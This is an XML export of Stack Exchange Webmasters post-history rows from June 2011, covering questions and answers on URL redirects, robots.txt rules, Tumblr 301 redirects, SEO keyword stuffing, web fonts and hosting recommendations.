  <row Id="36394" PostHistoryTypeId="2" PostId="15407" RevisionGUID="e658a979-5fa0-4a91-87c2-0cc9be3f66f7" CreationDate="2011-06-15T23:05:06.310" UserId="7198" Text="Converting fonts for Web use with automated tools often gives unpredictable results, so it's best to use the official Web font edition of whatever typeface you're interested in direct from the relevant foundry when you can. They often adapt and rehint them to look their best in the browser. Doing it this way also ensures the font is correctly licensed for Web use.&#xD;&#xA;&#xD;&#xA;Here's the official Linotype-approved [Web font edition of Helvetica Neue 45](http://webfonts.fonts.com/en-US/Project/ChooseFonts?ViewDetails=T&amp;ViewFontID=692680) from fonts.com." />
  <row Id="36395" PostHistoryTypeId="25" PostId="15402" RevisionGUID="771112d8-7ca1-45af-ab4f-2699a98cce72" CreationDate="2011-06-16T00:24:15.233" Comment="http://twitter.com/#!/StackWebmasters/status/81155084750295040" />
  <row Id="36396" PostHistoryTypeId="2" PostId="15408" RevisionGUID="501b656d-a9b4-4e66-9c83-5dcf2a606de6" CreationDate="2011-06-16T00:48:10.893" UserId="3314" Text="Anyone know of a good online service or local software package that will give me a real-time (or almost real-time) status of how my websites are doing: uptime, ping, latency, DNS, etc.&#xD;&#xA;&#xD;&#xA;Any recommendations would be great." />
  <row Id="36397" PostHistoryTypeId="1" PostId="15408" RevisionGUID="501b656d-a9b4-4e66-9c83-5dcf2a606de6" CreationDate="2011-06-16T00:48:10.893" UserId="3314" Text="Live status dashboard for multiple websites" />
  <row Id="36398" PostHistoryTypeId="3" PostId="15408" RevisionGUID="501b656d-a9b4-4e66-9c83-5dcf2a606de6" CreationDate="2011-06-16T00:48:10.893" UserId="3314" Text="&lt;statistics&gt;" />
  <row Id="36399" PostHistoryTypeId="2" PostId="15409" RevisionGUID="c9cbc3ad-c83c-44a7-8a67-bd00367ccaa4" CreationDate="2011-06-16T00:48:15.700" UserId="8343" Text="When WordPress started it was a blogging platform. Now it has evolved into a more complete CMS. More and more website owners are using WordPress for purposes other than simply blogging, and &lt;a href=&quot;http://wpth.net&quot;&gt;premium themes&lt;/a&gt; are being used in many of these cases.&#xD;&#xA;&#xD;&#xA;With the affordability of great premium themes, WordPress seems like it will continue to grow even more popular among these types of sites. I believe that this growth will increase the need for more complex plugins." />
  <row Id="36400" PostHistoryTypeId="5" PostId="15409" RevisionGUID="d5c09eb5-8ee8-48d7-bba6-1d5772824167" CreationDate="2011-06-16T01:24:36.630" UserId="1253" Comment="removed self promo link" Text="When WordPress started it was a blogging platform. Now it has evolved into a more complete CMS. More and more website owners are using WordPress for purposes other than simply blogging, and premium themes are being used in many of these cases.&#xD;&#xA;&#xD;&#xA;With the affordability of great premium themes, WordPress seems like it will continue to grow even more popular among these types of sites. I believe that this growth will increase the need for more complex plugins." />
  <row Id="36401" PostHistoryTypeId="17" PostId="15410" RevisionGUID="2408393b-f0c7-46ea-8288-73049349bc02" CreationDate="2011-06-16T02:09:15.783" UserId="-1" Comment="from http://serverfault.com/questions/280840/how-to-remove-url-prefix-and-redirect-it" Text="" />
  <row Id="36402" PostHistoryTypeId="17" PostId="15411" RevisionGUID="cc63776f-998b-4b34-98c9-e2d3356ccc43" CreationDate="2011-06-16T02:09:15.783" UserId="-1" Comment="from http://serverfault.com/questions/280840/how-to-remove-url-prefix-and-redirect-it" Text="" />
  <row Id="36403" PostHistoryTypeId="2" PostId="15411" RevisionGUID="e1ed067c-5e19-4800-9b45-c495e03213ec" CreationDate="2011-06-15T21:59:44.617" UserDisplayName="LazyOne" Text="It is possible -- but you need to tell at least which web server do you use. &#xD;&#xA;&#xD;&#xA;For Apache this can be achieved with the following rule (using mod_rewrite):&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteRule ^content/(.+)$ /$1 [R=301,NC,L]&#xD;&#xA;&#xD;&#xA;If you are using Microsoft IIS7.x then it is also possible with the help of URL Rewrite Module (you may need to download and install it separately -- depends which IIS version you have):&#xD;&#xA;&#xD;&#xA;    &lt;rule name=&quot;redirect /content/&quot; stopProcessing=&quot;true&quot;&gt;&#xD;&#xA;    	&lt;match url=&quot;^content/(.+)$&quot; /&gt;&#xD;&#xA;    	&lt;action type=&quot;Redirect&quot; url=&quot;/{R:1}&quot; /&gt;&#xD;&#xA;    &lt;/rule&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36404" PostHistoryTypeId="2" PostId="15410" RevisionGUID="dc9256f6-1432-4030-b69c-98f7be48c345" CreationDate="2011-06-15T21:12:02.180" UserDisplayName="Tom" Text="I had urls with /content/ prefix e.g. mysite.com/content/bla-bla-bla/&#xD;&#xA;now I whant redirect all to mysite.com/bla-bla-bla/ without /content/&#xD;&#xA;Is this possible?&#xD;&#xA;Thanks!" />
  <row Id="36405" PostHistoryTypeId="1" PostId="15410" RevisionGUID="dc9256f6-1432-4030-b69c-98f7be48c345" CreationDate="2011-06-15T21:12:02.180" UserDisplayName="Tom" Text="How to remove url prefix and redirect it?" />
  <row Id="36406" PostHistoryTypeId="3" PostId="15410" RevisionGUID="dc9256f6-1432-4030-b69c-98f7be48c345" CreationDate="2011-06-15T21:12:02.180" UserDisplayName="Tom" Text="&lt;redirects&gt;" />
  <row Id="36407" PostHistoryTypeId="17" PostId="15412" RevisionGUID="4a370199-ed1d-42df-867a-38a11577aac1" CreationDate="2011-06-16T03:01:46.053" UserId="-1" Comment="from http://stackoverflow.com/questions/6366340/do-all-websites-allow-rss-feeds" Text="" />
  <row Id="36408" PostHistoryTypeId="17" PostId="15413" RevisionGUID="291ad92f-cfe4-488a-958b-ded9dd269e6a" CreationDate="2011-06-16T03:01:46.053" UserId="-1" Comment="from http://stackoverflow.com/questions/6366340/do-all-websites-allow-rss-feeds" Text="" />
  <row Id="36409" PostHistoryTypeId="2" PostId="15413" RevisionGUID="8c60a033-de7b-47a9-b239-f6a9447501d1" CreationDate="2011-06-16T02:11:32.667" UserDisplayName="Crippledsmurf" Text="If the RSS feed is just a static file then it's a fair assumption that any web host should allow you to serve the file to whatever clients request it.&#xD;&#xA;&#xD;&#xA;It wasn't specified in the question but in case the RSS feed is dynamically generated by the server when it's requested, the server would need to support the technology used to generate the file." />
  <row Id="36410" PostHistoryTypeId="2" PostId="15412" RevisionGUID="8513a74b-5c74-4b27-9a7b-55033570f051" CreationDate="2011-06-16T01:59:08.970" UserDisplayName="topcoderwannabe" Text="Simple question: Do all website hosts allow RSS feeds to be coded, such that if I have an application for my phone, and the application pulls information from my website, I could use any web host to accomplish this?&#xD;&#xA;&#xD;&#xA;I was thinking of going with Hostmonster.com, in case you were wondering.&#xD;&#xA;&#xD;&#xA;Thoughts?" />
  <row Id="36411" PostHistoryTypeId="1" PostId="15412" RevisionGUID="8513a74b-5c74-4b27-9a7b-55033570f051" CreationDate="2011-06-16T01:59:08.970" UserDisplayName="topcoderwannabe" Text="do all websites allow rss feeds?" />
  <row Id="36412" PostHistoryTypeId="3" PostId="15412" RevisionGUID="8513a74b-5c74-4b27-9a7b-55033570f051" CreationDate="2011-06-16T01:59:08.970" UserDisplayName="topcoderwannabe" Text="&lt;websites&gt;&lt;rss&gt;&lt;feeds&gt;" />
  <row Id="36413" PostHistoryTypeId="2" PostId="15414" RevisionGUID="bfed9ddd-f527-43f4-9725-439720b742c0" CreationDate="2011-06-16T03:16:18.713" UserId="1253" Text="[Hostmonster supports PHP5](http://www.hostmonster.com/cgi/info/hosting_features) so if you can write PHP code you can have a dynamic RSS feed. Most, if not all, hosts offer scripting language support so any host you choose should be able to support this." />
  <row Id="36414" PostHistoryTypeId="25" PostId="15393" RevisionGUID="7421067a-a7aa-4f53-ba3d-1272a907e571" CreationDate="2011-06-16T03:24:20.850" Comment="http://twitter.com/#!/StackWebmasters/status/81200407690485761" />
  <row Id="36415" PostHistoryTypeId="4" PostId="15412" RevisionGUID="89682f7c-6699-45ec-b595-e255ee59a525" CreationDate="2011-06-16T04:39:35.460" UserId="4502" Comment="The question is about the underlying host, not the site." Text="Do all web hosts allow rss feeds?" />
  <row Id="36416" PostHistoryTypeId="25" PostId="15412" RevisionGUID="1dff76d1-4f00-4b8b-84e4-1c2e28ea564e" CreationDate="2011-06-16T06:24:17.497" Comment="http://twitter.com/#!/StackWebmasters/status/81245691728510976" />
  <row Id="36417" PostHistoryTypeId="17" PostId="15415" RevisionGUID="5dccd053-b2e8-4467-8bc5-65addab3ed4f" CreationDate="2011-06-16T06:38:34.853" UserId="-1" Comment="from http://stackoverflow.com/questions/6365102/testing-websites-on-devices-such-as-iphones" Text="" />
  <row Id="36418" PostHistoryTypeId="17" PostId="15416" RevisionGUID="add6f107-6557-4183-9f16-e6b243cdfcfb" CreationDate="2011-06-16T06:38:34.853" UserId="-1" Comment="from http://stackoverflow.com/questions/6365102/testing-websites-on-devices-such-as-iphones" Text="" />
  <row Id="36419" PostHistoryTypeId="17" PostId="15417" RevisionGUID="22bf3163-9583-45eb-b080-b98fe646af43" CreationDate="2011-06-16T06:38:34.853" UserId="-1" Comment="from http://stackoverflow.com/questions/6365102/testing-websites-on-devices-such-as-iphones" Text="" />
  <row Id="36420" PostHistoryTypeId="2" PostId="15416" RevisionGUID="635127b7-62ba-4dad-88d2-f73f2f266527" CreationDate="2011-06-15T22:22:16.373" UserDisplayName="Justin" Text="You can use Safari (free download on both Mac and Windows).&#xD;&#xA;&#xD;&#xA;http://creativetechs.com/tipsblog/preview-iphone-websites-in-safari/" />
  <row Id="36421" PostHistoryTypeId="2" PostId="15417" RevisionGUID="e75920bc-6b76-426a-9645-b0685b218033" CreationDate="2011-06-15T23:42:19.723" UserDisplayName="Remy Vanherweghem" Text="Head to [Apple developer][1], create a free account and download the SDK (Mac intel only though). Install it and launch the iOS simulator. You'll be able to test it on an iPad and an iPhone... all from your computer.&#xD;&#xA;Thing is: it might be a little overkill: the SDK is huge for what you're trying to accomplish.&#xD;&#xA;&#xD;&#xA;You can also try a Webkit browser (such as Safari or Chrome) by resizing the window to 329*480 but you won't get the same rendering as the mobile browser. As a general rule, stick to standards and you're site should render fine on recent mobile devices.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.apple.com" />
  <row Id="36422" PostHistoryTypeId="2" PostId="15415" RevisionGUID="be6cfc99-0fae-4396-ba95-bad81e4427c9" CreationDate="2011-06-15T22:18:49.243" UserDisplayName="Brett" Text="I'm aware of many sites that you can use for cross-browser testing and I was wondering if anyone knows any free sites that you can use to test sites on an iPhone?&#xD;&#xA;&#xD;&#xA;Thanks very much!" />
  <row Id="36423" PostHistoryTypeId="1" PostId="15415" RevisionGUID="be6cfc99-0fae-4396-ba95-bad81e4427c9" CreationDate="2011-06-15T22:18:49.243" UserDisplayName="Brett" Text="Testing websites on devices such as iPhones?" />
  <row Id="36424" PostHistoryTypeId="3" PostId="15415" RevisionGUID="be6cfc99-0fae-4396-ba95-bad81e4427c9" CreationDate="2011-06-15T22:18:49.243" UserDisplayName="Brett" Text="&lt;iphone&gt;&lt;cross-browser&gt;&lt;cross-platform&gt;" />
  <row Id="36425" PostHistoryTypeId="17" PostId="15418" RevisionGUID="a98235cd-8fd4-4f2f-931b-f60f3d27ab3c" CreationDate="2011-06-16T06:40:03.870" UserId="-1" Comment="from http://stackoverflow.com/questions/6366614/seo-keyword-stuffing" Text="" />
  <row Id="36426" PostHistoryTypeId="2" PostId="15419" RevisionGUID="87c4c27c-c0e2-4ca9-9830-0ccbdfe463ad" CreationDate="2011-06-16T03:06:19.013" UserId="4392" Text="This wont be a Keyword stuffing. Since you are not repeating.&#xD;&#xA;&#xD;&#xA;Suppose if you would have used as the following then it would have been keyword stuffing&#xD;&#xA;&#xD;&#xA;    &lt;a title=&quot;purchase glasses, Purchase glass&quot; href=&quot;&quot;&gt;&lt;img alt=&quot;purchase glasses purchase&quot; title=&quot;purchase glasses purchase&quot; /&gt;&lt;a&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But it is advisable that you dont repeat the same word more than 2 times, its not a google recommended process.&#xD;&#xA;&#xD;&#xA;What you have done is reasonable.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36427" PostHistoryTypeId="2" PostId="15418" RevisionGUID="f6a09091-4c43-4aa8-8d4b-7fe847b40cfc" CreationDate="2011-06-16T02:51:04.523" UserDisplayName="Paul Mason" Text="Just wondering if you can tell me if this is keyword stuffing:&#xD;&#xA;&#xD;&#xA;    &lt;a title=&quot;purchase glasses&quot; href=&quot;&quot;&gt;&lt;img alt=&quot;purchase glasses&quot; title=&quot;purchase glasses&quot; /&gt;&lt;a&gt;&#xD;&#xA;    &lt;a title=&quot;purchase socks&quot; href=&quot;&quot;&gt;&lt;img alt=&quot;purchase socks&quot; title=&quot;purchase socks&quot; /&gt;&lt;a&gt;&#xD;&#xA;&#xD;&#xA;So I thought the following could be penalized:&#xD;&#xA;&#xD;&#xA;- 'purchase' is included with each product title &amp; alt&#xD;&#xA;&#xD;&#xA;- the &lt;a&gt; title is the same as the &lt;img&gt; title and alt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;If this is safe could you please give an example of keyword stuffing. Thanks!" />
  <row Id="36428" PostHistoryTypeId="1" PostId="15418" RevisionGUID="f6a09091-4c43-4aa8-8d4b-7fe847b40cfc" CreationDate="2011-06-16T02:51:04.523" UserDisplayName="Paul Mason" Text="SEO keyword stuffing" />
  <row Id="36429" PostHistoryTypeId="3" PostId="15418" RevisionGUID="f6a09091-4c43-4aa8-8d4b-7fe847b40cfc" CreationDate="2011-06-16T02:51:04.523" UserDisplayName="Paul Mason" Text="&lt;seo&gt;" />
  <row Id="36430" PostHistoryTypeId="17" PostId="15419" RevisionGUID="05cb0458-3dc3-4284-9cd4-2a93e1ce9704" CreationDate="2011-06-16T06:40:03.870" UserId="-1" Comment="from http://stackoverflow.com/questions/6366614/seo-keyword-stuffing" Text="" />
  <row Id="36431" PostHistoryTypeId="2" PostId="15420" RevisionGUID="68eb39b7-5707-4a0e-b83f-75b69af7bdb5" CreationDate="2011-06-16T07:46:49.753" UserId="7198" Text="[Adobe Business Catalyst](http://businesscatalyst.com/) is a very powerful service that few seem to know about. (Paid, starting at $9/month.) It's pitched at non-coders, but powerful enough to build complex sites with as well.&#xD;&#xA;&#xD;&#xA;[Squarespace](http://www.squarespace.com/) is another CMS pitched at non-coders. (Paid, starting at $12/month.) It's not as powerful as Drupal, but their in-browser design tools are impressive.&#xD;&#xA;&#xD;&#xA;[WordPress,](http://wordpress.org) [Concrete 5,](http://www.concrete5.org/) and [Silverstripe](http://www.silverstripe.org/) are worth considering, but all need a limited amount of programming knowledge.&#xD;&#xA;&#xD;&#xA;If you like [ExpressionEngine,](http://expressionengine.com/) you should also check out [MojoMotor,](http://mojomotor.com/) which is EllisLab's lighter-weight CMS designed to help less technical users edit simple sites.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="36432" PostHistoryTypeId="2" PostId="15421" RevisionGUID="784a7cf0-fbb8-4c52-b65e-cf07e9abc7ba" CreationDate="2011-06-16T08:27:13.933" UserId="2490" Text="I am using [Arvixe][1]. They give you .net4 and mvc (not sure if it's only mvc 2 or also mvc 3 razor)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3.html" />
  <row Id="36433" PostHistoryTypeId="2" PostId="15422" RevisionGUID="7d3b8fcc-ae6d-4602-adad-8af670c7d232" CreationDate="2011-06-16T08:30:37.083" UserId="8348" Text="How important is Yahoo Directory these days for SEO?&#xD;&#xA;It was important maybe 5 years ago, but what about today?" />
  <row Id="36434" PostHistoryTypeId="1" PostId="15422" RevisionGUID="7d3b8fcc-ae6d-4602-adad-8af670c7d232" CreationDate="2011-06-16T08:30:37.083" UserId="8348" Text="SEO: What are SEO benefits of submitting to Yahoo Directory?" />
  <row Id="36435" PostHistoryTypeId="3" PostId="15422" RevisionGUID="7d3b8fcc-ae6d-4602-adad-8af670c7d232" CreationDate="2011-06-16T08:30:37.083" UserId="8348" Text="&lt;seo&gt;&lt;google&gt;&lt;yahoo&gt;" />
  <row Id="36436" PostHistoryTypeId="5" PostId="15380" RevisionGUID="275eccf1-795b-414c-a2c9-162a016c5f81" CreationDate="2011-06-16T08:53:04.293" UserId="7801" Comment="Changed wording" Text="Are there any ways in which I can improve the loading speed of a website?&#xD;&#xA;&#xD;&#xA;I know that Google is really pushing loading speeds and with the popularity of mobile websites it's now imperative that sites load quickly." />
  <row Id="36437" PostHistoryTypeId="2" PostId="15423" RevisionGUID="445293e9-e1e1-49a5-9f5f-01a52089f70f" CreationDate="2011-06-16T08:55:16.920" UserId="1606" Text="I've a blog hosted at tumblr (own domain).&#xD;&#xA;&#xD;&#xA;Before that, I was hosting my blog using wordpress. When I was using wordpress, my permalink is like `&lt;domain&gt;/&lt;year&gt;/&lt;month&gt;/&lt;date&gt;/&lt;article name&gt;`, but after shifting to tumblr, the permalinks are now different.&#xD;&#xA;&#xD;&#xA;So when people visit the old link, I want to make a 301 redirect; or at least prepare a custom page to inform them that the site has been changed.&#xD;&#xA;&#xD;&#xA;How do I do that?? &#xD;&#xA;" />
  <row Id="36438" PostHistoryTypeId="1" PostId="15423" RevisionGUID="445293e9-e1e1-49a5-9f5f-01a52089f70f" CreationDate="2011-06-16T08:55:16.920" UserId="1606" Text="Hosting blogs in tumblr and redirecting custom page" />
  <row Id="36439" PostHistoryTypeId="3" PostId="15423" RevisionGUID="445293e9-e1e1-49a5-9f5f-01a52089f70f" CreationDate="2011-06-16T08:55:16.920" UserId="1606" Text="&lt;web-hosting&gt;&lt;wordpress&gt;&lt;tumblr&gt;" />
  <row Id="36440" PostHistoryTypeId="2" PostId="15424" RevisionGUID="74fb6c9d-d150-477c-b861-6f2afa2d2c63" CreationDate="2011-06-16T09:01:19.790" UserId="8349" Text="I have happy so far with [DiscountASP][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://discountasp.net/" />
  <row Id="36441" PostHistoryTypeId="17" PostId="15425" RevisionGUID="3a476e98-fcee-42ed-8c62-57527fb3cdb2" CreationDate="2011-06-16T09:06:21.697" UserId="-1" Comment="from http://stackoverflow.com/questions/6369268/ajax-gantt-chart-possibly-jquery-based" Text="" />
  <row Id="36442" PostHistoryTypeId="2" PostId="15425" RevisionGUID="b2f7041e-afa5-4b66-ac91-79a47926728a" CreationDate="2011-06-16T08:50:56.210" UserDisplayName="materialdreams" Text="I'm looking for a free or commercial Ajax Gantt Chart that should possibly be jQuery based." />
  <row Id="36443" PostHistoryTypeId="1" PostId="15425" RevisionGUID="b2f7041e-afa5-4b66-ac91-79a47926728a" CreationDate="2011-06-16T08:50:56.210" UserDisplayName="materialdreams" Text="Ajax Gantt Chart possibly jQuery based" />
  <row Id="36444" PostHistoryTypeId="3" PostId="15425" RevisionGUID="b2f7041e-afa5-4b66-ac91-79a47926728a" CreationDate="2011-06-16T08:50:56.210" UserDisplayName="materialdreams" Text="&lt;jquery&gt;&lt;ajax&gt;" />
  <row Id="36445" PostHistoryTypeId="2" PostId="15426" RevisionGUID="c9622e51-57c7-46cd-a369-339c57948b93" CreationDate="2011-06-16T09:09:48.577" UserId="8009" Text="**How do the millions of online 'pagerank checker' tools work?** &#xD;&#xA;&#xD;&#xA;Don't get me wrong, pagerank means very little to me, I just wondered how they give you a pagerank number, given that many of them give you a different score to other tools...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36446" PostHistoryTypeId="1" PostId="15426" RevisionGUID="c9622e51-57c7-46cd-a369-339c57948b93" CreationDate="2011-06-16T09:09:48.577" UserId="8009" Text="How do PR checkers work?" />
  <row Id="36447" PostHistoryTypeId="3" PostId="15426" RevisionGUID="c9622e51-57c7-46cd-a369-339c57948b93" CreationDate="2011-06-16T09:09:48.577" UserId="8009" Text="&lt;pagerank&gt;&lt;tools&gt;" />
  <row Id="36448" PostHistoryTypeId="25" PostId="15426" RevisionGUID="afd9089b-550e-4340-bc6f-894c5d0a4988" CreationDate="2011-06-16T09:24:18.540" Comment="http://twitter.com/#!/StackWebmasters/status/81290993894293505" />
  <row Id="36449" PostHistoryTypeId="2" PostId="15427" RevisionGUID="8975e716-e4de-4ed1-87e2-da95ef6cd8b8" CreationDate="2011-06-16T09:34:35.193" UserId="233" Text="This is not keyword stuffing per se, but there is a point where adding keywords becomes superfluous. Using the same text for two titles and an alt tag isn't going to make the page rank any higher for that term than just using one.&#xD;&#xA;&#xD;&#xA;You should certainly remove one of the title attributes: using one on the image an another on the link that contains it makes no sense.&#xD;&#xA;&#xD;&#xA;Furthermore, you are using the alt attribute incorrectly - alt text should describe the content of the image. The title (on either the image OR link) would describe the action or the page being linked to." />
  <row Id="36450" PostHistoryTypeId="4" PostId="15380" RevisionGUID="deee95fe-bd46-41cb-8957-923fbbb4ee19" CreationDate="2011-06-16T10:11:42.573" UserId="233" Comment="grammar" Text="Ideas to improve website loading speed?" />
  <row Id="36451" PostHistoryTypeId="2" PostId="15428" RevisionGUID="4409317d-e735-4146-9442-54de25fa4208" CreationDate="2011-06-16T10:13:49.293" UserId="7198" Text="You can create 301 redirects in tumblr by using the 'Redirect' page type:&#xD;&#xA;&#xD;&#xA; 1. Click the settings cog in your tumblr Dashboard.&#xD;&#xA; 2. Click the 'Customize your blog' button.&#xD;&#xA; 2. Click the 'Pages' header.&#xD;&#xA; 3. Choose the 'Add a page' link.&#xD;&#xA; 4. Choose 'Redirect' from the 'Page Type' drop down:  &#xD;&#xA; 5. Put your old WordPress URL in the &quot;Page URL&quot; field.&#xD;&#xA; 6. Put the new tumblr URL in the &quot;Redirect to&quot; field.&#xD;&#xA; 7. Click the &quot;Create page&quot; button.&#xD;&#xA;&#xD;&#xA;![Redirecting a page in tumblr with a 301 header][1]&#xD;&#xA;&#xD;&#xA;Requests for the old WordPress page will now result in a 301 (moved permanently) redirect to the new tumblr page. Note that every page has to be redirected manually. There's no wildcard system to create rules to handle mass forwarding, unfortunately.&#xD;&#xA;&#xD;&#xA;There's also no dependable way to style 404 (not found) pages with tumblr's existing template code, so any pages you *don't* redirect will lead users to a dead end devoid of helpful suggestions or search boxes, like this one:&#xD;&#xA;&#xD;&#xA;![Tumblr's 404 page isn't very helpful][2]&#xD;&#xA;&#xD;&#xA;A possible workaround to improve usability and reduce bounce rate might be to edit your theme's template code and use jQuery to detect the title &quot;Not found&quot;, and inject a more helpful error message into the post body below.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/N0c3C.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/MQvCw.jpg" />
  <row Id="36452" PostHistoryTypeId="5" PostId="15428" RevisionGUID="3dd07870-dcfa-4da5-9c8e-b9b74ee67a79" CreationDate="2011-06-16T10:25:03.830" UserId="7198" Comment="Added code example." Text="You can create 301 redirects in tumblr by using the 'Redirect' page type:&#xD;&#xA;&#xD;&#xA; 1. Click the settings cog in your tumblr Dashboard.&#xD;&#xA; 2. Click the 'Customize your blog' button.&#xD;&#xA; 2. Click the 'Pages' header.&#xD;&#xA; 3. Choose the 'Add a page' link.&#xD;&#xA; 4. Choose 'Redirect' from the 'Page Type' drop down:  &#xD;&#xA; 5. Put your old WordPress URL in the &quot;Page URL&quot; field.&#xD;&#xA; 6. Put the new tumblr URL in the &quot;Redirect to&quot; field.&#xD;&#xA; 7. Click the &quot;Create page&quot; button.&#xD;&#xA;&#xD;&#xA;![Redirecting a page in tumblr with a 301 header][1]&#xD;&#xA;&#xD;&#xA;Requests for the old WordPress page will now result in a 301 (moved permanently) redirect to the new tumblr page. Note that every page has to be redirected manually. There's no wildcard system to create rules to handle mass forwarding, unfortunately.&#xD;&#xA;&#xD;&#xA;There's also no dependable way to style 404 (not found) pages with tumblr's existing template code, so any pages you *don't* redirect will lead users to a dead end devoid of helpful suggestions or search boxes, like this one:&#xD;&#xA;&#xD;&#xA;![Tumblr's 404 page isn't very helpful][2]&#xD;&#xA;&#xD;&#xA;A possible workaround to improve usability and reduce bounce rate might be to edit your theme's template code and use jQuery to detect the title &quot;Not found&quot;, and inject a more helpful error message into the post body below. How you do this depends on the theme in question, but it might look something like this:&#xD;&#xA;&#xD;&#xA;**HTML**&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;text-post&quot;&gt;&#xD;&#xA;        &lt;h2&gt;Not Found&lt;/h2&gt;&#xD;&#xA;        &lt;p&gt;The URL you requested could not be found.&lt;/p&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;**jQuery**&#xD;&#xA;&#xD;&#xA;    var pageTitle = $('div.text-post h2').text();&#xD;&#xA;    if (pageTitle == &quot;Not Found&quot;){&#xD;&#xA;        $('div.text-post p').html('Your new helpful message goes here.')&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;[LIVE DEMO HERE.](http://jsfiddle.net/kRUxK/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/N0c3C.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/MQvCw.jpg" />
  <row Id="36453" PostHistoryTypeId="2" PostId="15429" RevisionGUID="c7308d27-f4bc-44da-be8b-8c64ed7e89c6" CreationDate="2011-06-16T10:41:44.807" UserId="4759" Text="Answered here: http://stackoverflow.com/questions/1344917/getting-google-pagerank-via-an-api-php" />
  <row Id="36454" PostHistoryTypeId="2" PostId="15430" RevisionGUID="8013772d-6876-43fd-8f81-5647c9095205" CreationDate="2011-06-16T10:44:33.603" UserId="4759" Text="No. Other than time. Neither is there much of benefit (yet) unless you want to take advantage of some feature you're sorely missing right now.&#xD;&#xA;&#xD;&#xA;Technically, the only thing you need to do to convert an (X)HTML document to HTML5 is change the doctype to `&lt;!DOCTYPE html&gt;`" />
  <row Id="36455" PostHistoryTypeId="2" PostId="15431" RevisionGUID="04645163-881e-464b-b303-64953bf578f9" CreationDate="2011-06-16T10:48:33.630" UserId="4759" Text="Have you thought of Creative Commons licensed photos, say, from Flickr?" />
  <row Id="36456" PostHistoryTypeId="5" PostId="15335" RevisionGUID="f44fed2d-6575-4acc-a9f2-ff61ff46dd93" CreationDate="2011-06-16T10:49:23.397" UserId="7198" Comment="Made it clear that the order of rules makes no difference, only the length of them." Text="Yes. You can disallow everything first, then allow the folders you want to be indexed.&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;    Allow: /index.html&#xD;&#xA;    Allow: /example/&#xD;&#xA;    Allow: /example2/&#xD;&#xA;    Allow: /example3/&#xD;&#xA;&#xD;&#xA;The reason this works is that Google (and Bing) follow CSS-style specificity rules when reading robots.txt files, where more specific rules take precedence over less specific ones. From Google's [robots.txt documentation](http://code.google.com/web/controlcrawlindex/docs/robots_txt.html):&#xD;&#xA;&#xD;&#xA;&gt; &quot;...for allow and disallow directives, the most specific rule based on the length of the [path] entry will trump the less specific (shorter) rule. The order of precedence for rules with wildcards is undefined.&quot;&#xD;&#xA;&#xD;&#xA;They give a table of examples on that page. Note that the *order* of the rules makes no difference to how they're interpreted; only the *length* of them matters. You could put the 'Disallow' rule in my example above at the end of the file and it would still work as intended.&#xD;&#xA;&#xD;&#xA;Don't forget to [test your robots.txt file](http://www.google.com/support/webmasters/bin/answer.py?answer=156449) using [Google Webmaster Tools](http://www.google.com/webmasters/tools/):&#xD;&#xA;&#xD;&#xA;&gt; To test a site's robots.txt file:&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. On the Webmaster Tools Home page, click the site you want.&#xD;&#xA;&gt; 2. Under Site configuration, click Crawler access&#xD;&#xA;&gt; 3. If it's not already selected, click the Test robots.txt tab.&#xD;&#xA;&gt; 4. Copy the content of your robots.txt file, and paste it into the first box.&#xD;&#xA;&gt; 5. In the URLs box, list the site to test against.&#xD;&#xA;&gt; 6. In the User-agents list, select the user-agents you want.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36457" PostHistoryTypeId="2" PostId="15432" RevisionGUID="74944f67-7b6e-485c-9219-f47c7a38a2b2" CreationDate="2011-06-16T10:51:50.007" UserId="4759" Text="You need four things: your own VPS, nginx with php-fpm (Apache is a resource-hog), and lots of caching. If you're running Drupal, there must be some static caching plugins available. Static caching will reduce DB queries (which you want to do in most cases). Memcache is also an alternative.&#xD;&#xA;&#xD;&#xA;For this, I'd recommend hiring an expert!" />
  <row Id="36458" PostHistoryTypeId="2" PostId="15433" RevisionGUID="7321cb78-685a-4802-9142-1a1158d5f236" CreationDate="2011-06-16T10:56:52.190" UserId="8351" Text="I have been recently looking for a PHP billing system similar to the one used by a lot of webhosts - WHMCS.&#xD;&#xA;&#xD;&#xA;What we provide is an online profile for companies to market themselves to their potential audience. To do so there is a fee of £20/m or £200/y. What I really like about WHMCS is that it manages your entire billing side for you.. the issue you I do have with it is that it's strongly related to web hosting, which we aren't. Also it doesn't seem that flexible to fit into our current system.&#xD;&#xA;&#xD;&#xA;Does anyone have any advice or suggestions on any similar PHP systems, or whether WHMCS can be edited enough to do what I need it to do?&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="36459" PostHistoryTypeId="1" PostId="15433" RevisionGUID="7321cb78-685a-4802-9142-1a1158d5f236" CreationDate="2011-06-16T10:56:52.190" UserId="8351" Text="WHMCS for subscription based server or alternative" />
  <row Id="36460" PostHistoryTypeId="3" PostId="15433" RevisionGUID="7321cb78-685a-4802-9142-1a1158d5f236" CreationDate="2011-06-16T10:56:52.190" UserId="8351" Text="&lt;php&gt;" />
